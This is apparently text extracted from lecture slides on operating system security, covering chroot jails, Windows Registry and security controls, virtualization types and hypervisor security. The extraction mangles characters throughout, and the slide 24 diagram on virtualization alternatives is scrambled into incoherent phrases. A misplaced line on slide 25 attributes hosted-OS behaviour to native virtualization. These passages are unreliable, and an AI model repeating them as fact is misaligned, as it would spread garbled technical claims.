each resource
– guides recommend changing the access permissions
for cri?cal directories and files
– local exploit
• so@ware vulnerability that can be exploited by an aAacker to
gain elevated privileges
– remote exploit
• so@ware vulnerability in a network server that could be
triggered by a remote aAacker
18
Linux/Unix Security
• Chroot jail
– restricts the server’s view of the file system to just
a specified portion
– uses chroot system call to confine a process by
mapping the root of the filesystem to some other
directory
– file directories outside the chroot jail aren’t visible
or reachable
– main disadvantage is added complexity
19
Windows Security
20
Windows Security
Much of the configuration
information is centralized in
the Registry
• Forms a database of keys and values that may
be queried and interpreted by applications
• Registry keys can be directly modified
using the “Registry Editor”
• more useful for making bulk changes
21
Windows Security
– Other security controls
– Essential that anti-virus, anti-spyware, personal firewall, and other
malware and attack detection and handling software packages are
installed and configured
– Current generation Windows systems include basic firewall and
malware countermeasure capabilities
– Important to ensure the set of products in use are compatible
– Windows systems also support a range of cryptographic functions:
– Encrypting files and directories using the Encrypting File System (EFS)
– Full-disk encryption with AES using BitLocker
– “Microsoft Baseline Security Analyzer”
– Free, easy to use tool that checks for compliance with Microsoft’s
security recommendations
22
Virtualization
• A technology that provides an abstraction of the
resources used by some software which runs in a
simulated environment called a virtual machine
(VM)
• Benefits include better efficiency in the use of the
physical system resources
• Provides support for multiple distinct operating
systems and associated applications on one
physical system
• Raises additional security concerns
23
Virtualization Alternatives
Application virtualization (e.g., JVM)
allows
applica6ons
wri@en for one virtual machine monitor (VMM)
environment to
execute on some multiple full coordinates RAM, processor, … uses
other opera6ng operating system
system instances execute
in parallel coordinates access between each
hypervisor of the guests and the actual
physical hardware resources
24
Full Virtualization Variations
• Na#ve virtualiza#on: the hypervisor executes
directly on the underlying hardware
• Hosted OS is just another app
• More secure: fewer layers
25
Full Virtualization Variations
• Hosted virtualiza#on: Hosted OS run along
other apps
• Adds addi@onal layers: increased security
concerns
26
Virtualization Security Issues
• Security concerns include:
– Guest OS isolation: ensuring that programs
executing within a guest OS may only access and
use the resources allocated to it
– Guest OS monitoring by the hypervisor: has
privileged access to the programs and data in each
guest OS and must be trust
– Virtualized environment security: particularly
image and snapshot management which
attackers may attempt to view or modify
27
Hypervisor Security
• Should be
– secured using a process similar to securing an operating
system
– installed in an isolated environment
– configured so that it is updated automatically
– monitored for any signs of compromise
– accessed only by authorized administration
• May support both local and remote administration so
must be configured appropriately
• Remote administration access should be considered
and secured in the design of any network firewall and
IDS capability in use
28
Summary
• System security planning • Linux/Unix security
• operating systems hardening – patch management
– initial setup and patching – application configuration
– remove unnecessary services – users, groups, permissions
– configure users and groups – remote access
– test system security – security testing
• Application security • Windows security
– application configuration – patch management
– encryption technology – users administration and access
– security maintenance controls
– data backup – application and service
– virtualization security configuration
• virtualization alternatives – security testing
29